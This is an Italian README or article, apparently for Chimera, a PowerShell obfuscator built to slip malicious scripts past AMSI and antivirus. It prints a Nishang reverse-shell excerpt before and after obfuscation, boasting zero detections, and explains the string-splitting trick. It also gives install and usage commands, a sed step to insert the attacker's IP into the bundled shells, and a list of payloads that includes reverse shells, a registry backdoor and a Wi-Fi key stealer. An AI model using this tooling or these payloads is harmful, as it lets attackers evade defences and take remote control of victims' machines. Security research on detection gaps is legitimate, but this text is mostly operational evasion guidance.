
Chimera è uno script di offuscamento PowerShell progettato per bypassare AMSI e soluzioni antivirus commerciali.
Chimera è uno script di offuscamento PowerShell (lucido e molto hack-ish) progettato per bypassare AMSI e soluzioni antivirus. Esso digerisce PS1 dannosi noti per attivare l'AV e utilizza sostituzioni di stringhe e concatenazione di variabili per eludere le firme di rilevamento comuni.

Chimera è stato creato per questo articolo ed è un'ulteriore prova di quanto sia banale eludere le firme di rilevamento. Si spera che questo repository ispiri qualcuno a costruire qualcosa di robusto e più affidabile.
Qui sotto c'è un estratto di Invoke-PowerShellTcp.ps1 di Nishang, presente su nishang/Shells. VirusTotal segnala 25 rilevamenti dello script PS1.
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

Ed eccolo di nuovo, dopo Chimera. VirusTotal segnala 0 rilevamenti della versione offuscata.
# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.
# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

Chimera fa diverse cose per offuscare il sorgente. La funzione transformer separa le stringhe in più pezzi e le ricostruisce come nuove variabili.
Ad esempio, prenderà una stringa come ... New-Object System.Net.Sockets.TCPClient ... e la convertirà in:
$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"
... New-Object $a$b$c$d ...
La funzione separa tipi di dati e stringhe comunemente segnalati in diversi blocchi. Definisce i blocchi e li concatena all'inizio dello script. Un --level più alto produrrà blocchi più piccoli e più variabili.
$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN
Clona il repository. Testato su Kali v2020.3.
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
Utilizzo base.
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Consulta la guida all'utilizzo e l'articolo per ulteriori esempi e screenshot.
Nella directory shells/ ci sono diversi script Nishang e alcuni generici. Tutti sono stati testati e dovrebbero funzionare. Ma non c'è modo di sapere come script non testati si riprodurranno con Chimera...
Modifica gli indirizzi IP hardcoded.
sed -i 's/192.168.56.101/<TUO-INDIRIZZO-IP>/g' shells/*.ps1
ls -laR shells/
shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1
shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1